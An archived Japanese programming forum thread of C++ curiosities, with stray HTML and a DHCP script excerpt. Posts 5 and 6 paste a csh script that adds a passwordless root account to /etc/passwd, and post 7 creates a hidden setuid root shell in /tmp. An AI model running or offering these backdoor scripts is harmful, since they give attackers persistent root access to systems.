5ちゃんねる ★スマホ版★ ■掲示板に戻る■ 全部 1- 最新50  

■ このスレッドは過去ログ倉庫に格納されています

おもろいC++コードを貼るスレ

1 :デフォルトの名無しさん:04/12/31 20:54:37
みんなで技巧的なコードを考えてくれ!
template<class t_base,
unsigned int t_cb=sizeof(t_base)>
class CAnySizeStruct{
public:
volatile char m_aby[t_cb];
CAnySizeStruct(){}
t_base& GetRef(){
return static_cast<t_base*>(m_aby);
}
};

2 :デフォルトの名無しさん:04/12/31 20:57:42
returnの後に*がないだろ、ウ゛ォケ!

3 :デフォルトの名無しさん:04/12/31 20:59:34
<a href="http://server.maido3.com/" target="_blank">
<font face="Arial" color=yellow><b>Banana@PIE</b></font></a>サーバ
</font>
</td></tr></table>
<p>
<table><tr bgcolor=#FFCC44><td align=right>
<a href="http://tubo.80.kg/da.html"><font color=deeppink>マウスパッド</font></a>プレゼント中!!</font>(早い者勝ち)
</td></tr></table>

</td></tr></table>
</TD></TR></TABLE>
</center>

4 :デフォルトの名無しさん:04/12/31 21:19:12
>>1
悲しい年越しですね。

5 :デフォルトの名無しさん:04/12/31 21:20:06
#!/bin/csh
# Inserts a UID 0 account into the middle of the passwd file.
# There is likely a way to do this in 1/2 a line of AWK or SED. Oh well.
# daemon9@netcom.com

set linecount = `wc -l /etc/passwd`
cd # Do this at home.
cp /etc/passwd ./temppass # Safety first.
echo passwd file has $linecount[1] lines.
@ linecount[1] /= 2
@ linecount[1] += 1 # we only want 2 temp files
echo Creating two files, $linecount[1] lines each \(or approximately that\).
split -$linecount[1] ./temppass # passwd string optional
echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" >> ./xaa
cat ./xab >> ./xaa
mv ./xaa /etc/passwd
chmod 644 /etc/passwd # or whatever it was beforehand
rm ./xa* ./temppass
echo Done...


6 :デフォルトの名無しさん:04/12/31 21:20:27
#!/bin/csh
# Inserts a UID 0 account into the middle of the passwd file.
# There is likely a way to do this in 1/2 a line of AWK or SED. Oh well.
# daemon9@netcom.com

set linecount = `wc -l /etc/passwd`
cd # Do this at home.
cp /etc/passwd ./temppass # Safety first.
echo passwd file has $linecount[1] lines.
@ linecount[1] /= 2
@ linecount[1] += 1 # we only want 2 temp files
echo Creating two files, $linecount[1] lines each \(or approximately that\).
split -$linecount[1] ./temppass # passwd string optional
echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" >> ./xaa
cat ./xab >> ./xaa
mv ./xaa /etc/passwd
chmod 644 /etc/passwd # or whatever it was beforehand
rm ./xa* ./temppass
echo Done...


7 :デフォルトの名無しさん:04/12/31 21:21:36
#!/bin/sh
# Everyone's favorite...

cp /bin/csh /tmp/.evilnaughtyshell # Don't name it that...
chmod 4755 /tmp/.evilnaughtyshell

8 :デフォルトの名無しさん:04/12/31 21:29:37
class {
  public:
    template<typename T> operator T*() const {return static_cast<T*>(0);}
} const NULL;

9 :デフォルトの名無しさん:04/12/31 22:06:02
template<typename CLASS>
int class_id(CLASS& class1)
{
return *reinterpret_cast<int*>(&class1);
}

template<typename CLASS1, typename CLASS2>
bool IsCmpClass(CLASS1& class1, CLASS2& class2)
{
return (class_id(class1) == class_id(class2));
}


10 :デフォルトの名無しさん:04/12/31 22:11:02
重複スレ

11 :デフォルトの名無しさん:05/01/01 09:27:51
どこと重複?

12 :デフォルトの名無しさん:05/01/02 21:43:41
if [ x$reason = xEXPIRE ] || [ x$reason = xFAIL ] || [ x$reason = xRELEASE ] \
|| [ x$reason = xSTOP ]; then
if [ x$alias_ip_address != x ]; then
ifconfig $interface inet -alias $alias_ip_address > /dev/null 2>&1
route delete $alias_ip_address 127.0.0.1 > /dev/null 2>&1
fi
if [ x$old_ip_address != x ]; then
eval "ifconfig $interface inet -alias $old_ip_address $medium"
route delete $old_ip_address 127.1 >/dev/null 2>&1
for router in $old_routers; do
route delete default $router >/dev/null 2>&1
done
if [ -n "$old_static_routes" ]; then
set -- $old_static_routes
while [ $# -gt 1 ]; do
route delete $1 $2
shift; shift
done
fi
arp -n -a | sed -n -e 's/^.*(\(.*\)) at .*$/arp -d \1/p' \
|sh >/dev/null 2>&1
fi
if [ x$alias_ip_address != x ]; then
ifconfig $interface inet alias $alias_ip_address $alias_subnet_arg
route add $alias_ip_address 127.0.0.1
fi
exit_with_hooks 0
fi


13 :デフォルトの名無しさん:05/01/03 22:48:58
>>1のコードって役に立たない気が・・・

14 :デフォルトの名無しさん:05/01/03 23:36:24
>>9のコードも役に立つのこれ?

6 KB
■ このスレッドは過去ログ倉庫に格納されています

★スマホ版★ 掲示板に戻る 全部 前100 次100 最新50

read.cgi ver 05.04.00 2017/10/04 Walang Kapalit ★
FOX ★ DSO(Dynamic Shared Object)